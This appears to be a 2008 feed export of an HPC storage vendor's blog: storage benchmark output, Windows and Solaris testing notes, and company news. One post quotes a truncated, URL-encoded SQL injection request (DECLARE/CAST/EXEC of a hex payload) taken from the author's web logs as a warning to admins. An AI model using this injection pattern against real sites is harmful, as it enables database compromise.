https://blog.scalability.org/2008/08/fun-monday-morning-benchmarking/ Mon, 25 Aug 2008 11:50:55 +0000 https://blog.scalability.org/2008/08/fun-monday-morning-benchmarking/ Running NCBI BLAST on the JackRabbit we are preparing for shipment. Used the nt database from last july (21 GB in size, 5+M sequences). Our a. thaliana had 1164 sequences, and about 500k letters. Took 8m 44s to BLAST these sequences against this database. This means about 2.1838e+13 cell updates per second. This is the product of the number of letters in the database and the sequence under test divided by the total wall clock time. https://blog.scalability.org/2008/08/while-we-are-at-it/ Sun, 24 Aug 2008 17:04:23 +0000 https://blog.scalability.org/2008/08/while-we-are-at-it/ a newshort benchmark writeup for JackRabbit for On-Demand Media Service. Quite cool. Our results were amazing. https://blog.scalability.org/2008/08/its-up-our-online-store/ Sun, 24 Aug 2008 15:31:02 +0000 https://blog.scalability.org/2008/08/its-up-our-online-store/ Took us long enough… Now you can buy your JackRabbit high performance storage systems online. Just click here … Not everything is on the store, but we are moving to get the items up quickly. Nothing quite like buying Gigabytes/s while wearing bunny slippers ... https://blog.scalability.org/2008/08/our-customers-are-not-crash-dummies/ Sun, 24 Aug 2008 11:54:42 +0000 https://blog.scalability.org/2008/08/our-customers-are-not-crash-dummies/ … and we don’t treat them like such. This is the gist of a conversation we had over the weekend. A JackRabbit unit running Centos 5.2 going out to a customer in the financial services space, required firmware updates for some of its components. It would have been simply too easy for us to do what many of our competitors do, and ship them a firmware/driver update on a CD or USB stick, or point them to a login for downloading the bits. https://blog.scalability.org/2008/08/multiple-job-opportunities/ Sat, 23 Aug 2008 12:18:26 +0000 https://blog.scalability.org/2008/08/multiple-job-opportunities/ OT to our usual fare. The day job has a few possible openings for high performance computing technical types. Positions would be in Michigan, and one would have some extended travel. Please contact me if you would like to talk. https://blog.scalability.org/2008/08/an-interesting-correlation/ Wed, 20 Aug 2008 15:50:56 +0000 https://blog.scalability.org/2008/08/an-interesting-correlation/ Whenever a post somehow critical of zfs or Sun shows up on the blog or in an email to a list, within a few hours, someone starts email-bombing us. Hmmmm………. Correlations do not imply causality. But they are damn suspicious. Update: I should also note that someone took the time to even try to subscribe me to several mailing lists. Wow. The value of this is …. what? https://blog.scalability.org/2008/08/apologies-for-slow-posting-we-have-been-busy/ Tue, 19 Aug 2008 12:16:19 +0000 https://blog.scalability.org/2008/08/apologies-for-slow-posting-we-have-been-busy/ many things going on … busiest JackRabbit month on record. We moved into a new facility, migrated servers, setup a new phone system, setup a new lab, started the online store (still not complete, but ready to take initial orders!), … yadda yadda yadda. I won’t say JackRabbits are flying off shelves … though I could say they are hopping off them (JackRabbits don’t have wings after all). https://blog.scalability.org/2008/08/rackable-buys-terrascale-and-now-dumps-terrascale/ Tue, 19 Aug 2008 01:00:36 +0000 https://blog.scalability.org/2008/08/rackable-buys-terrascale-and-now-dumps-terrascale/ TerraScale were an innovative bunch that developed some interesting technologies around the xfs file system, and made it scale in a cluster. Some time ago, Rackable bought them. Now it appears that Rackable is pulling back from this market, and is putting TerraScale … er … RapidScale on the auction block. Ok, its not quite like this … they have engaged a financial advisor to “seek strategic alternatives” for the group. https://blog.scalability.org/2008/08/jackrabbit-m-bonnie-results/ Mon, 18 Aug 2008 16:45:26 +0000 https://blog.scalability.org/2008/08/jackrabbit-m-bonnie-results/ JackRabbit-M run of bonnie++ 1.0.3 no patches, run in the usual way. bonnie++ -u root -d /big -f nets these measurements: bonnie++ -u root -d /big -f Using uid:0, gid:0. Writing intelligently...done Rewriting...done Reading intelligently...done start 'em...done...done...done... Create files in sequential order...done. Stat files in sequential order...done. Delete files in sequential order...done. Create files in random order...done. Stat files in random order...done. Delete files in random order...done. Version 1.03 ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP jackrabbit 129104M 668525 43 166778 18 1071018 66 426. https://blog.scalability.org/2008/08/jackrabbit-m-update/ Sat, 16 Aug 2008 14:50:28 +0000 https://blog.scalability.org/2008/08/jackrabbit-m-update/ JackRabbit-M [you will be able to order these online in short order from our store]. More tests, more burn in. I will describe this unit in a moment. We are taking this one out to the test track. Running a few time trials. Cracking the throttle. Wide open. [queue Don Felder’s “Heavy Metal": this unit masses north of 60 kg … ] raw write speed: [root@jackrabbit ~]# dd if=/dev/zero of=/big/big.file . https://blog.scalability.org/2008/08/on-being-a-2-x-4-on-being-a-two-by-four/ Sat, 16 Aug 2008 00:55:31 +0000 https://blog.scalability.org/2008/08/on-being-a-2-x-4-on-being-a-two-by-four/ For those not familiar with this vernacular, a 2x4 (two by four) is a bit of wood, 2 inches by 4 inches in cross-section. It is sometimes brandished as a defensive or offensive weapon. You use a 2x4 to beat someone into submission … or, more correctly, a metaphorical 2x4 … lest you wind up on the wrong side of the law. This post is about the actualization of the metaphor. https://blog.scalability.org/2008/08/that-was-boring-wordpress-261-upgrade/ Fri, 15 Aug 2008 23:26:23 +0000 https://blog.scalability.org/2008/08/that-was-boring-wordpress-261-upgrade/ No … really boring. Click click click …. (iterate N times) click. You are done. Whatever happened to those fun moments of abject terror when you realized you just blew away an important DB table … Good job WP folk. https://blog.scalability.org/2008/08/this-is-so-so-very-wrong-rotflmao/ Tue, 12 Aug 2008 11:32:25 +0000 https://blog.scalability.org/2008/08/this-is-so-so-very-wrong-rotflmao/ https://blog.scalability.org/2008/08/bandwidth-woes-hopefully-a-thing-of-the-past/ Wed, 06 Aug 2008 04:18:22 +0000 https://blog.scalability.org/2008/08/bandwidth-woes-hopefully-a-thing-of-the-past/ In moving to our new facilities, we changed from an 11 Mb/1.5 Mb line to a 6 Mb/0.8 Mb line. This was due to the availability of service to that area. Yeah, we could do a 1.5 Mb/1.5 Mb T1 line, but this is slow compared to what we had, and our experience with SLAs suggests that they aren’t honored as we might like. So we installed the 6 Mb line. https://blog.scalability.org/2008/08/of-all-the-amateur-dumb-silly-errors-i-have-ever-seen-this-one-tops-them/ Wed, 06 Aug 2008 00:55:34 +0000 https://blog.scalability.org/2008/08/of-all-the-amateur-dumb-silly-errors-i-have-ever-seen-this-one-tops-them/ … and of course, I made it. And then went on vacation. No I am not kidding. Yes, I tested it. No, not the way I should have… Yeah, after our move, I redirected www.scalableinformatics.com to our new site. Yessirre. I really checked it out. Carefully. Wouldn’t want to make an error. Like directing it to the wrong machine. Nosirree. Wouldn’t want to do that. Too bad. Thats what I did. https://blog.scalability.org/2008/08/you-may-have-noticed-the-sparse-posting/ Fri, 01 Aug 2008 14:06:42 +0000 https://blog.scalability.org/2008/08/you-may-have-noticed-the-sparse-posting/ … no, I haven’t left the building. Been on vacation this past week in lovely northern Michigan. In Mackinac to be precise. Going to St. Ignace and the Soo locks today (St. Sault Marie). Should be fun. Weather is lovely, had some great morning pictures of the sunrise over the waters on the north shore of the US … Back next week … https://blog.scalability.org/2008/07/not-official-yet-but/ Sat, 26 Jul 2008 14:37:43 +0000 https://blog.scalability.org/2008/07/not-official-yet-but/ … day job just joined Automation Alley. Will put an official announcement up soon. Once this goes live, the day job will be offering discounted JackRabbit and HPC systems/consulting to other members. Part of this comes from a desire to grow our business in Michigan, part comes from an understanding of the Michigan economic realities. If you haven’t heard about the state of the economy in Michigan, there is simply no way to sugar coat it. https://blog.scalability.org/2008/07/deja-vu/ Fri, 25 Jul 2008 03:17:34 +0000 https://blog.scalability.org/2008/07/deja-vu/ Posted without comment. https://blog.scalability.org/2008/07/ok-more-similar-attacks/ Wed, 23 Jul 2008 22:17:15 +0000 https://blog.scalability.org/2008/07/ok-more-similar-attacks/ Check your logs folks, someone is trying to crack into your systems. More … interesting … logs. https://blog.scalability.org/2008/07/a-new-attack-in-the-wild-and-in-my-logs/ Wed, 23 Jul 2008 21:59:37 +0000 https://blog.scalability.org/2008/07/a-new-attack-in-the-wild-and-in-my-logs/ Have a look at this (safe, defanged) From a request: ?%27;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076 617263686172283430303029204445434C415245205461626C655F4375 .... 655F437572736F72%20AS%20CHAR(4000));EXEC(@S); Neat… huh? Direct injection attack. Removed most of the payload. Didn’t succeed. Came from Malasia: 60.48.212.49 [W| B | U ] |MYS , Johor Bahru | 23-Jul 12:30:41 /?';DECLARE%2... 0));EXEC(@S); - 60.48.212.49 [W| B | U ] |MYS , Johor Bahru | 23-Jul 12:30:41 /?;DECLARE%20... 0));EXEC(@S); - And Brooklyn 24.184.25.236 [W| B | U ] |USA , Brooklyn | 23-Jul 12:04:02 /? https://blog.scalability.org/2008/07/557-days-and-then-i-accidentally-yank-the-power-plug/ Tue, 22 Jul 2008 02:29:44 +0000 https://blog.scalability.org/2008/07/557-days-and-then-i-accidentally-yank-the-power-plug/ We are prepping for the move to the new facility. Nicer digs, and we are moving some infrastructure over. Our main internal server has been (until about 11pm this evening) up for 557 days. Continuously, no down time. Planned or unplanned. Of course, all this means is that, as time goes on, some klutz is gonna do something silly. Well, I’m the klutz. While pulling a power plug out of the PDU, I didn’t notice I had dislodged the adjacent plug. https://blog.scalability.org/2008/07/taking-a-jackrabbit-m-for-a-spin/ Sun, 20 Jul 2008 01:19:41 +0000 https://blog.scalability.org/2008/07/taking-a-jackrabbit-m-for-a-spin/ This is a new 24TB raw JackRabbit-M system we are burning in for a customer. Unit will ship in short order, but I thought you might like to see what happens when we take it for a spin. And when we crack the throttle. First the basics: 24x 1TB drives (SATA II nearline drives, not desktop units), 4U case. 2 hot spares, RAID6 (yes, these numbers are with RAID6). System has 16 GB RAM. https://blog.scalability.org/2008/07/yow/ Tue, 15 Jul 2008 14:42:56 +0000 https://blog.scalability.org/2008/07/yow/ Expected lifetime (e.g. how long until a hacker pwnz it? or put another way, how long until you lose control of this ) windows system on the internet? 4 minutes. https://blog.scalability.org/2008/07/ofed-partially-building-on-fedora-core-9/ Sun, 13 Jul 2008 16:32:51 +0000 https://blog.scalability.org/2008/07/ofed-partially-building-on-fedora-core-9/ This was fun. Well, ok, it wasn’t. But it works now. The ofa_kernel rpm crashes and burns being rebuilt on FC9. As do sdp, rds, ibutils, and dapl. Fine. Also have to downgrade tcl to 8.4 from 8.5. Because the RPMs hard-link to a specific library in tk (which depends upon tcl). Again, fine. Run the install.pl script. Select install. Select customize. Select everything but those things. Go get coffee. Note that the conversion to gcc 4. https://blog.scalability.org/2008/07/horribly-convoluted-linux-kernel-build-processes-for-a-distribution/ Sat, 12 Jul 2008 15:52:49 +0000 https://blog.scalability.org/2008/07/horribly-convoluted-linux-kernel-build-processes-for-a-distribution/ Suppose you want to build a new kernel RPM that incorporates a different kernel (slightly up or down from distribution baseline). You want to turn off all their patches, and simply build the kernel, the headers, the -devel, … Can you do it? No I am serious… can you do it? The following is a bit of a rant. Borne out of frustration with things that are designed broken (IMO). https://blog.scalability.org/2008/07/imitation-is-the-sincerest-form-of-flattery/ Fri, 11 Jul 2008 04:12:54 +0000 https://blog.scalability.org/2008/07/imitation-is-the-sincerest-form-of-flattery/ In reviewing a new rev of some product that competes with our JackRabbit unit, I noted that the new rev actually copies a number of the good ideas we have been using in our JackRabbits for quite a while. I am impressed :) I guess if you can’t beat em, join em. https://blog.scalability.org/2008/07/a-72-tb-jackrabbit/ Fri, 11 Jul 2008 00:30:16 +0000 https://blog.scalability.org/2008/07/a-72-tb-jackrabbit/ Seagate just announced a 1.5 TB desktop drive, with the enterprise unit sure to follow. Delivery of desktop drives should be in August. If we used 48 of these in our 5U JackRabbit unit, we would be able to provide 72 TB raw. A rack full (8) would hit 576 TB raw, or nearly 0.6 PB/rack. FWIW: we have customers whom have requested the desktop drive variants. We see failure rates about the same as the enterprise/NL units. https://blog.scalability.org/2008/07/windows-200x-impressions-after-using-it-for-testing/ Mon, 07 Jul 2008 14:15:35 +0000 https://blog.scalability.org/2008/07/windows-200x-impressions-after-using-it-for-testing/ We are in the midst of Solaris 10 testing for a customer. Explaining why Linux is so much faster (and more stable) on the hardware is getting old. So I’ll take a break and talk about the windows 200x experiences we had recently. A customer wanted to see performance on a number of things running on Windows 2003. They had a particular application that runs on it, and wanted to see what we could do with JackRabbit. https://blog.scalability.org/2008/07/waiting-for-scat-on-x86x64/ Mon, 07 Jul 2008 02:08:35 +0000 https://blog.scalability.org/2008/07/waiting-for-scat-on-x86x64/ Another Solaris crash running bonnie++ during testing. I am convinced it is a driver issue, but before I go speaking to the people writing the driver, I want a good convincing stack trace to hand them (and a core file). I found the core files (shades of Irix past, I like the fact that I get them). Looked for SCAT (Solaris Crash Analysis Tool). 4.1 is out, for Sparc only. 5. https://blog.scalability.org/2008/07/zfs-un-benchmarking/ Sun, 06 Jul 2008 16:39:49 +0000 https://blog.scalability.org/2008/07/zfs-un-benchmarking/ So we have Solaris 10 installed on a JackRabbit-M. According to Sun’s license, as I have learned last night, we cannot report benchmark results without permission from Sun. Sad, but this is how they wish to govern information flow around their product. Our rationale for testing was to finally get some numbers that we can provide to users/customers about real zfs performance. There is a huge amount of (largely uncontested) information (emanating mainly from Sun and its agents) that zfs is a very fast file system. https://blog.scalability.org/2008/07/is-this-a-zfs-bug-or-an-iozone-bug/ Wed, 02 Jul 2008 23:01:03 +0000 https://blog.scalability.org/2008/07/is-this-a-zfs-bug-or-an-iozone-bug/ Hmmmmmmmmmm …. # /opt/csw/bin/iozone -Ra -n 16m -g 16g -y 16m -m -b sol10-jrm-large.xls Iozone: Performance Test of File I/O Version $Revision: 3.217 $ Compiled for 32 bit mode. Build: Solaris Contributors:William Norcott, Don Capps, Isom Crawford, Kirby Collins Al Slater, Scott Rhine, Mike Wisner, Ken Goss Steve Landherr, Brad Smith, Mark Kelly, Dr. Alain CYR, Randy Dunlap, Mark Montague, Dan Million, Jean-Marc Zucconi, Jeff Blomberg, Erik Habbinga, Kris Strecker. Run began: Wed Jul 2 18:47:07 2008 Excel chart generation enabled Auto Mode Using minimum file size of 16384 kilobytes. https://blog.scalability.org/2008/07/solaris-10-508-and-zfs-on-jackrabbit/ Wed, 02 Jul 2008 20:42:28 +0000 https://blog.scalability.org/2008/07/solaris-10-508-and-zfs-on-jackrabbit/ Yeah, it works. # df -h Filesystem size used avail capacity Mounted on /dev/dsk/c0d0s0 7.9G 3.3G 4.5G 43% / /devices 0K 0K 0K 0% /devices ctfs 0K 0K 0K 0% /system/contract proc 0K 0K 0K 0% /proc mnttab 0K 0K 0K 0% /etc/mnttab swap 15G 896K 15G 1% /etc/svc/volatile objfs 0K 0K 0K 0% /system/object /usr/lib/libc/libc_hwcap1.so.1 7.9G 3.3G 4.5G 43% /lib/libc.so.1 fd 0K 0K 0K 0% /dev/fd swap 15G 112K 15G 1% /tmp swap 15G 32K 15G 1% /var/run /dev/dsk/c0d0s3 3. https://blog.scalability.org/2008/07/tracking-other-companies/ Wed, 02 Jul 2008 06:49:31 +0000 https://blog.scalability.org/2008/07/tracking-other-companies/ SGI and Clearspeed. SGI is now down to $4.90/share at its close. It dropped 11% yesterday. Market cap is $57M. Yow. Yeah, the market has been volatile. I am not sure that explains this. With 1600 employees, this is a value of $36k/person. They are rapidly getting to a place where their valuation and ours becomes comparable. They are getting wins, but maybe the wins are not as profitable as they need … or maybe the ones we hear about are the only ones rather than a representative set. https://blog.scalability.org/2008/07/scalable-informatics-6-sales/ Tue, 01 Jul 2008 17:30:25 +0000 https://blog.scalability.org/2008/07/scalable-informatics-6-sales/ Day job (actually company) has been in business 6 years, and is having a 6% sale to celebrate! Basically any hardware (including JackRabbits, our Pegasus many core workstations, and HPC clusters) purchased and paid for in month of July 2008. Ping me if you would like info about any of these things. https://blog.scalability.org/2008/06/450-streaming-clients-3-machines-and-3-gb-nics/ Mon, 30 Jun 2008 16:40:16 +0000 https://blog.scalability.org/2008/06/450-streaming-clients-3-machines-and-3-gb-nics/ So I built this thing called run.pl to run N simultaneous instances of a command. To use it, you type run.pl N the_command_you_want_to_run_N_times_simultaneously So if I want to run 10 uname’s on my laptop … landman@lightning:~$ ./run.pl 10 uname O[1]: Linux O[2]: Linux O[3]: Linux O[4]: Linux O[5]: Linux O[6]: Linux O[7]: Linux O[8]: Linux O[9]: Linux O[10]: Linux Cool huh … Ok. Now lets see how many mplayers will swamp the NIC and CPU. https://blog.scalability.org/2008/06/stream-this-no-really/ Wed, 25 Jun 2008 04:45:15 +0000 https://blog.scalability.org/2008/06/stream-this-no-really/ Ok. I asked for pointers to free as in Libre video. Stuff we can use for testing streaming performance. And load the JackRabbit system, with multiple clients pulling these videos. So first you need a video server. Well, IIS can do it in windows, but as I have discovered, Apache 2.2.9 does a somewhat better job of serving media on Windows 2003. Not sure why yet, may look. So now we have the mpeg of “The Brain that wouldn’t die”. https://blog.scalability.org/2008/06/what-happened-to-youtube-why-isnt-it-as-good-as-liveleak/ Wed, 25 Jun 2008 00:43:43 +0000 https://blog.scalability.org/2008/06/what-happened-to-youtube-why-isnt-it-as-good-as-liveleak/ Youtube used to be “the” video site. Yeah, there are lots of competitors out there now. Sort of like social networks for a while. But Youtube has an issue. Click on an embedded vide in a web site or a blog, and it is at best a crap shoot as to whether you will get anything playing. Most of the time now, we don’t. This is true on Windows, on Linux, with the latest Flash. https://blog.scalability.org/2008/06/and-a-quick-bonnie-session-still-untuned/ Mon, 23 Jun 2008 03:46:59 +0000 https://blog.scalability.org/2008/06/and-a-quick-bonnie-session-still-untuned/ Again, 24 drive bay JackRabbit storage system. Version 1.03 ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP jrs8 32088M 511057 49 228336 35 1046117 91 514.5 0 ------Sequential Create------ --------Random Create-------- -Create-- --Read--- -Delete-- -Create-- --Read--- -Delete-- files /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP 16 21727 95 +++++ +++ 25751 99 22791 99 +++++ +++ 21702 98 jrs8,32088M,,,511057,49,228336,35,,,1046117,91,514. https://blog.scalability.org/2008/06/trial-run-of-jackrabbit-m/ Sun, 22 Jun 2008 20:59:12 +0000 https://blog.scalability.org/2008/06/trial-run-of-jackrabbit-m/ Now that I have run through the 32 bit windows portion of the benchmark for the customer, I want to compare to our default way of shipping the units. So I fired up our default CF load, rebuilt the RAID. Simple little test runs, nothing to see here (no tuning yet) The really simple minded tests … how quickly can we pull from the disk and the buffer cache. root@jrs8:~/mdadm-2.6.6# hdparm -tT /dev/md0 /dev/md0: Timing cached reads: 8862 MB in 2. https://blog.scalability.org/2008/06/w2k3-impressions-day-2/ Sun, 22 Jun 2008 19:15:29 +0000 https://blog.scalability.org/2008/06/w2k3-impressions-day-2/ Ok, now I know why Microsoft has been working so hard on W2k8. Because W2k3 doesn’t scale well under load. Using our test rigs, and the apache “ab” program, we can see huge differences in the same hardware (literally the same, simply swapping out boot drives), between W2k8 and W2k3, with the latter barely about to eek out 60% of the theoretical max. With W2k8, we were getting about 1 GB/s (8Gb/s) out of the unit with 10 clients running ab (specifically ‘ab -c 1 -n 100 -v 1 http://192. https://blog.scalability.org/2008/06/w2k3-vs-w2k8-first-impressions/ Sat, 21 Jun 2008 20:56:37 +0000 https://blog.scalability.org/2008/06/w2k3-vs-w2k8-first-impressions/ W2k8 was not hard to install. Actually it was almost easy. Administration wasn’t hard. Most things went right on. Performance was ok. W2k3 was a royal pain to install, and I am not done yet. Administration … well, between the network adapters which, after being told to use a fixed IP address seem to still wish to acquire an IP address, to the IIS which refuses to install unless SP2 CD is available (this is W2k3 SP2 BTW) … https://blog.scalability.org/2008/06/figured-out-the-bsod-for-w2k3-server/ Sat, 21 Jun 2008 17:47:30 +0000 https://blog.scalability.org/2008/06/figured-out-the-bsod-for-w2k3-server/ This was annoying. Let the record show that W2k3 server doesn’t grok AHCI. So if you are trying to install it and it BSODs on you, turn off AHCI and redo your boot drive config in bios. Yeah, you give up performance, and a better interface. But it will boot now, without crashing. https://blog.scalability.org/2008/06/jackrabbit-too-fast-for-windows/ Thu, 19 Jun 2008 19:24:20 +0000 https://blog.scalability.org/2008/06/jackrabbit-too-fast-for-windows/ … or there is a bug in the performance monitor. While I would like to believe the former (that JackRabbit is too fast), the latter is likely true. Look at this image, and then see the highlighted second image. Discussion in a moment. [ ](http://scalability.org/images/Screenshot-1.png) and [ ](http://scalability.org/images/Screenshot-small-1.png) Whats that? -1.97GB/s? So this is running IOmeter. We are seeing sustained about 1.15 GiB/s +/- a bit. Bouncing all over the place though. https://blog.scalability.org/2008/06/but-you-cant-do-that/ Wed, 18 Jun 2008 13:37:55 +0000 https://blog.scalability.org/2008/06/but-you-cant-do-that/ About 3 years ago, I was at a Sun HPC consortium meeting, where there was excitement over the possibility of getting 1TFLOP into 2.5 racks with an ultra-dense server. This was cool. It was awesome. One of the conference organizers was talking to me about this, saying it was the densest possible system (at that time). Having just been through the accelerator card high level design process for a business plan/company concept we were pitching to VCs, I innocently (ok, well, not so innocently) asked … “Well, what if you could get a real sustainable 1TFLOP in a 4U box? https://blog.scalability.org/2008/06/windows-2008-drivers-benchmarking-and-loading-of-the-drivesnetwork/ Wed, 18 Jun 2008 05:01:21 +0000 https://blog.scalability.org/2008/06/windows-2008-drivers-benchmarking-and-loading-of-the-drivesnetwork/ Happily, the Intel site has the right drivers for Windows 2008 for the motherboard gigabits. Just ordered some additional quad cards and a better network switch so we can push this harder. With 4 gigabit clients, we are seeing about 3.5x 1 GbE port in bandwidth. Working on it. Our test is incredibly simple. Set up IIS7 to serve files from a directory. Create 100 files of 100 MB each. System has 4 GB ram (ok more than that, but it is running 32 bit version of windows 2008, so all it sees is 4gb). https://blog.scalability.org/2008/06/name-and-logo-generator-for-your-startup-get-em-while-theyre-hot/ Wed, 18 Jun 2008 03:16:35 +0000 https://blog.scalability.org/2008/06/name-and-logo-generator-for-your-startup-get-em-while-theyre-hot/ Too funny … https://blog.scalability.org/2008/06/agglomeration-of-news/ Tue, 17 Jun 2008 12:10:36 +0000 https://blog.scalability.org/2008/06/agglomeration-of-news/ First, by now you have heard Tesla-10 is out. This is a significant performance step up, and I believe it has double precision capability. This is a hardware acceleration platform. Roadrunner hit the PetaFLOP regime. What is important about this is that it did it at a lower power than many had predicted a PetaFLOP would require, and did it somewhat sooner than others had been predicting. This is an accelerated supercomputer, using Cell technology. https://blog.scalability.org/2008/06/secure-remote-desktop-with-stunnel/ Sun, 15 Jun 2008 16:42:10 +0000 https://blog.scalability.org/2008/06/secure-remote-desktop-with-stunnel/ This is nice. We have set up a secure remote desktop with Stunnel for Windows 2008 server on JackRabbit M. Vijay is working on doing some setup for our benchmarks, and I wanted a way to give him access while he works remotely. Sure enough, setup wasn’t too painful, simply follow directions at this link. Still have to order extra NICs and a new gigabit switch, but otherwise we are about ready to load test … https://blog.scalability.org/2008/06/what-he-said-2/ Fri, 13 Jun 2008 15:01:06 +0000 https://blog.scalability.org/2008/06/what-he-said-2/ Up early on a friday morning, working through todays' issues and … found this article on Linux Magazine by the esteemed Doug Eadline. I was in on the discussion that he refers to, and pointed out that you do in fact get what you pay for, and that you will not get an engineered system in many cases. Worse, the configs will likely be those that minimize vendor costs, as that is the problem they are attempting to solve in a low margin business (clusters). https://blog.scalability.org/2008/06/sua-impressions/ Fri, 13 Jun 2008 01:42:37 +0000 https://blog.scalability.org/2008/06/sua-impressions/ A while ago, I had been advised to try SUA as part of windows. I was told it was much better than cygwin, and it is supported by Microsoft. Stuff will work, I was told. Well, of these statements, I can say I believe “supported by Microsoft” is probably the true one. Pulled down bonnie tarball. Tried to compile it. No luck. Pulled down IOzone tarball. Tried to compile it. No luck. https://blog.scalability.org/2008/06/darned-thing-bsods-right-away/ Thu, 12 Jun 2008 19:35:32 +0000 https://blog.scalability.org/2008/06/darned-thing-bsods-right-away/ There we are, trying to use W2k3 server for the customer benchmark on JackRabbit. So we install it … or try to install it and … BSOD (growl) No, I am not going to tear into Windows on this. W2k3 is old software kit. Yes, I did hit F6 to try to fix it, and add drivers. No, it never got to the point of letting me. Won’t spend more time on this. https://blog.scalability.org/2008/06/desktop-snapshot-of-jackrabbit-running-windows-2008-rc2/ Wed, 11 Jun 2008 11:57:38 +0000 https://blog.scalability.org/2008/06/desktop-snapshot-of-jackrabbit-running-windows-2008-rc2/ Why not. JackRabbit-M (24 bay unit) running W2k8 RC2. [ ](http://scalability.org/images/w2k8-JRM.png) https://blog.scalability.org/2008/06/more-w2k8-thoughts-on-jackrabbit-m/ Wed, 11 Jun 2008 11:44:35 +0000 https://blog.scalability.org/2008/06/more-w2k8-thoughts-on-jackrabbit-m/ So now you know that we are testing a unit with Windows 2008 on JackRabbit. Some of the things which struck me during this load were how initially simple the OS load appeared to be. It basically copied all it needed to the disk, rebooted, and installed. Ok, great. Except for the fact that it didn’t by default, recognize the on-board NICs. This means that we need to either find a second network card, or get the NICs going on the motherboard. https://blog.scalability.org/2008/06/jackrabbit-m-on-windows-2008/ Wed, 11 Jun 2008 04:59:56 +0000 https://blog.scalability.org/2008/06/jackrabbit-m-on-windows-2008/ Testing a JackRabbit M (24 bay unit) with Windows 2008 RC2. Initial impressions are that the installation of 2008 isn’t bad at all, though it seems not to recognize things on the motherboard, like NICs. Administration is still painful … things are spread out over multiple guis, and you have to struggle to get IE to behave the way you need it. So much so that Firefox 2.0.0.14 is now installed. https://blog.scalability.org/2008/06/road-runner-on-the-test-track-1026e15-flops/ Mon, 09 Jun 2008 03:48:01 +0000 https://blog.scalability.org/2008/06/road-runner-on-the-test-track-1026e15-flops/ Yeah baby! The worlds fastest supercomputer is an accelerated (Cell based) system. For those who can’t parse the number, 1.026E15 is 1.026 x 10^15, or 1.026 x 1 (followed by 15 zeros). 1 Million is 1E6 or Mega, 1 Billion is 1E9 or Giga (though I understand the UK and a few others use a different phrase … thousand millions), 1 Trillion is 1E12 or Tera, and 1 Quadrillion is 1E15 or Peta. https://blog.scalability.org/2008/06/microprocessor-wars-episode-6/ Fri, 06 Jun 2008 19:56:07 +0000 https://blog.scalability.org/2008/06/microprocessor-wars-episode-6/ When last we left young Luke ClusterDesigner, he was pondering whether or not to use one or the other vendors chips in the latest system they were to bid to customers for an RFP. Alas, along came one (then two) chip vendors offering “marketing support” (wink wink nudge nudge, say no more!) to young Luke. The farce was indeed strong with young Luke as he applied that “marketing support” to effectively reduce the cost of the processors he put into the cluster, thus decreasing the cost of the cluster for them to build. https://blog.scalability.org/2008/06/ever-have-one-of-those-days/ Tue, 03 Jun 2008 15:46:14 +0000 https://blog.scalability.org/2008/06/ever-have-one-of-those-days/ I mean, really, one of those days. If you don’t know what I mean, then, well, you haven’t had one, and cannot commiserate. I am having one of those days. My trusty Nokia E61 is in a cab somewhere in London. Not in the same part of London that I am in. Yeah, its been one of those days. Remember, the Crackberry … er … blackberry 8830 world phone “isn’t” (that is, it doesn’t work here, with their GSM card, as they cannot or will not test it before they ship it). https://blog.scalability.org/2008/06/ot-phones/ Mon, 02 Jun 2008 09:46:12 +0000 https://blog.scalability.org/2008/06/ot-phones/ So I have a Blackberry. I mentioned “cold-dead fingers” before. Crackberry is appropriate. It just works. And works really really well. That is, unless you have Verizon Wireless 8830 World phone. They issue you a GSM card. They activate it for you. What they can’t do before you leave? Test it. I am over in the UK with a non-working BlackBerry 8830 phone. Don’t get me wrong, the phone (CDMA) works well in the US. https://blog.scalability.org/2008/06/in-london-updated/ Mon, 02 Jun 2008 09:38:11 +0000 https://blog.scalability.org/2008/06/in-london-updated/ Talking at a conference. Conference is about outsourcing and I am talking about HPC. Go figure. Old version of this was deleted. Somehow got corrupted. Navigation in London is … well … a challenge. Street signs would be a nice addition. They are often hard to find if they exist at all. Determining what street you are on, and what direction you are traveling in is also a challenge. Getting ready to leave for the conference. https://blog.scalability.org/2008/05/what-are-people-using-to-read-this-blog/ Fri, 30 May 2008 20:03:03 +0000 https://blog.scalability.org/2008/05/what-are-people-using-to-read-this-blog/ I make a rough guess that they are using the same tools they are using on their desktops or laptops. It is a guess. This said, some interesting trends emerge from ~2 months of data and 2000-3000 visitors per day. Visitors OS: [ ](http://scalability.org/images/visitors.png) Browsers [ ](http://scalability.org/images/browsers.png) Search engines [ ](http://scalability.org/images/search.png) Ok, I am surprised. 21% of visitors appear to be using Linux. Ok, more than that, that under 70% appear to be using windows flavors. https://blog.scalability.org/2008/05/stability-boring-old-and-simple-stability/ Fri, 30 May 2008 19:17:05 +0000 https://blog.scalability.org/2008/05/stability-boring-old-and-simple-stability/ [xxx@yyy~]$ uptime 15:07:51 up 505 days, 47 min, 14 users, load average: 0.39, 0.35, 0.19 [xxx@yyy~]$ uname -s Linux 43.6 mega-seconds. For the pair of 1.6 GHz CPUs that are in here, this is a combined 1.4 x 10^17 clock cycles. Or for the chemists among us … this is 0.23 micro-mole of clock cycles. You would need 4.3 million of these machines to provide one mole (6.022 x 10^23) cycles per year. https://blog.scalability.org/2008/05/a-hint-at-things-to-come-in-jackrabbit-performance/ Fri, 30 May 2008 05:53:06 +0000 https://blog.scalability.org/2008/05/a-hint-at-things-to-come-in-jackrabbit-performance/ Well, this is a machine going out to a customer later today. Numbers aren’t so bad. Will explain a little more in a moment. root@pegasus-i:~# dd if=/dev/zero of=/local/data.file bs=8M count=1024 1024+0 records in 1024+0 records out 8589934592 bytes (8.6 GB) copied, 40.328 s, 213 MB/s root@pegasus-i:~# dd if=/dev/zero of=/local/data.file bs=8M count=1024 oflag=direct 1024+0 records in 1024+0 records out 8589934592 bytes (8.6 GB) copied, 25.6982 s, 334 MB/s root@pegasus-i:~# dd if=/local/data.file of=/dev/null bs=8M 1024+0 records in 1024+0 records out 8589934592 bytes (8. https://blog.scalability.org/2008/05/next-jackrabbit-demo-unit-being-built/ Thu, 29 May 2008 04:53:45 +0000 